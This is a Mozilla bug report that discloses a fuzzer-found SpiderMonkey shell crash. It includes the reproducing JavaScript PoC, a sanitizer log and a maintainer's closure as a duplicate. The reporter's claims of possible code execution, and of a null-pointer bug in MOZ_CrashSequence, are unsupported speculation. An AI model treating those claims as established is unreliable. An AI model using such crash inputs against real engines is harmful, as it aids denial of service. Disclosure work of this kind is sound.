Closed Bug 2041873 Opened 5 months ago Closed 5 months ago

Assertion failure: !obj->is<CrossCompartmentWrapperObject>(), at js/src/jsapi.cpp:646

Categories

(Core :: JavaScript Engine, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2039836

People

(Reporter: baksmali404, Unassigned)

References

(Blocks 1 open bug)

Details

(Keywords: reporter-external)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0

Steps to reproduce:

Summary

An assertion failure occurs in JS_TransplantObject when a CrossCompartmentWrapperObject is unexpectedly passed to the transplant operation. The assertion (!obj->is<CrossCompartmentWrapperObject>()) fails, leading to a call to MOZ_CrashSequence, which subsequently attempts to write to a NULL pointer (address 0x0), causing a segmentation fault and process crash.

Crash Details

  • Crashing function: CheckTransplantObject in js/src/jsapi.cpp:646
  • Assertion: !obj->is<CrossCompartmentWrapperObject>()
  • Crash type: NULL pointer dereference (write to zero page)
  • Trigger: A crafted JavaScript file (found by fuzzilli) that causes object transplantation during global object creation.

version:master

$ git clone https://github.com/mozilla/firefox
$ cd firefox
$ git show
commit 8b3456fa29ad35f58da4cc0a1d182e039124ba5d (HEAD -> main, origin/main, origin/HEAD)
Author: Dana Keeler <dkeeler@mozilla.com>
Date:   Sun May 17 15:22:52 2026 +0000
...

$ ./obj-fuzzbuild/dist/bin/js --version
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 522082 edges
JavaScript-C152.0a1

Reproduce

./dist/bin/js --fuzzing-safe pocfile.js

pocfile.js

class C0 {
}
function f1(a2, a3) {
    function* f4(a5, a6, a7 = a2, a8) {
        for (let i11 = 0, i12 = this; i12; i12--) {
        }
        Object.defineProperty(ArrayBuffer, Symbol.toPrimitive, { writable: true, configurable: true, value: f1 });
        for (let i24 = 0, i25 = 10; i25; i25--) {
        }
        const v33 = {};
        function f34() {
            return C0;
        }
        f34.principal = ArrayBuffer;
        f34.transplantWindowProxy = this;
        f34.sameZoneAs = v33;
        this.newGlobal(f34);
        return this;
    }
    const v37 = f4();
    try { v37.every(C0); } catch (e) {}
    return a2;
}
C0[Symbol.toPrimitive] = f1;
`0${C0}a`;
gc();

Actual results:

asan report


/home/gandalf/fuzz/fuzzilli/Targets/Spidermonkey/out/crashes/program_20260523112503_694989F4-06B0-4C9B-B97A-DDD2E9065F9D_flaky.js
[2631532] Assertion failure: !obj->is<CrossCompartmentWrapperObject>(), at js/src/jsapi.cpp:646
#01: ???[/home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/bin/js +0x1da27e5]
#02: JS_TransplantObject(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSObject*>)[/home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/bin/js +0x1da1935]
#03: ???[/home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/bin/js +0x1cebe8a]
#04: ???[/home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/bin/js +0x1d02847]
#05: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2631532==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5f15fecab7fd bp 0x7ffce2f40720 sp 0x7ffce2f40710 T2631532)
==2631532==The signal is caused by a WRITE memory access.
==2631532==Hint: address points to the zero page.
/home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
    #0 0x5f15fecab7fd in MOZ_CrashSequence(void*, long) /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/include/mozilla/Assertions.h:261:3
    #1 0x5f15fecab7fd in CheckTransplantObject(JSObject*) /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/js/src/./../../../js/src/jsapi.cpp:646:3
    #2 0x5f15fecaa934 in JS_TransplantObject(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSObject*>) /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/js/src/./../../../js/src/jsapi.cpp:654:3
    #3 0x5f15febf4e89 in NewGlobalObject(JSContext*, JS::RealmOptions&, JSPrincipals*, ShellGlobalKind, bool, JS::Handle<JSObject*>) /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/js/src/shell/./../../../../js/src/shell/js.cpp:11713:17
    #4 0x5f15fec0b846 in NewGlobal(JSContext*, unsigned int, JS::Value*) /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/js/src/shell/./../../../../js/src/shell/js.cpp:7545:23
    #5 0x0d1f04255062  ([anon:js-executable-memory]+0x2062)

==2631532==Register values:
rax = 0x0000000000000000  rbx = 0x0000071d3ff0f040  rcx = 0x0000000000000286  rdx = 0x000077929d604563  
rdi = 0x000077929d605700  rsi = 0x0000000000000000  rbp = 0x00007ffce2f40720  rsp = 0x00007ffce2f40710  
 r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x0000000000000002  r11 = 0x0000000000000293  
r12 = 0x00007ffce2f408b0  r13 = 0x00007ffce2f408b0  r14 = 0x00007ffce2f409c0  r15 = 0x000077929bc36218  
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/gandalf/fuzz/fuzz_spm/firefox/obj-fuzzbuild/dist/include/mozilla/Assertions.h:261:3 in MOZ_CrashSequence(void*, long)
==2631532==ABORTING

Stack Trace (simplified)

#0 MOZ_CrashSequence() -> Assertions.h:261
#1 CheckTransplantObject() -> jsapi.cpp:646
#2 JS_TransplantObject() -> jsapi.cpp:654
#3 NewGlobalObject() -> shell/js.cpp:11713
#4 NewGlobal() -> shell/js.cpp:7545
...
UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (WRITE)

Expected results:

Impact

  • Denial of Service: The crash is reliably triggered by the attached JavaScript file, causing the JS engine (and any host application, such as Firefox) to terminate.
  • Potential Memory Corruption: In release builds where the assertion is compiled out, the invalid object type may lead to undefined behavior, possibly including arbitrary memory access or code execution. Further analysis is recommended.

Suggested Fix

  • Replace MOZ_ASSERT(!obj->is<CrossCompartmentWrapperObject>()) with a runtime check that gracefully handles wrapper objects (e.g., unwrapping or returning an error code).
  • Review the error path in MOZ_CrashSequence to avoid NULL pointer dereference when crashing.
  • Ensure that JS_TransplantObject never receives a cross-compartment wrapper, or if it does, handle it safely.

Credit:

Gandalf4a 
Component: General → JavaScript Engine
Group: core-security → javascript-core-security
Flags: needinfo?(jdemooij)
Blocks: sm-xray

This is an issue with newGlobal re-entrancy that will be fixed by the patch in bug 2039836.

Group: javascript-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 5 months ago
Duplicate of bug: 2039836
Flags: needinfo?(jdemooij)
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.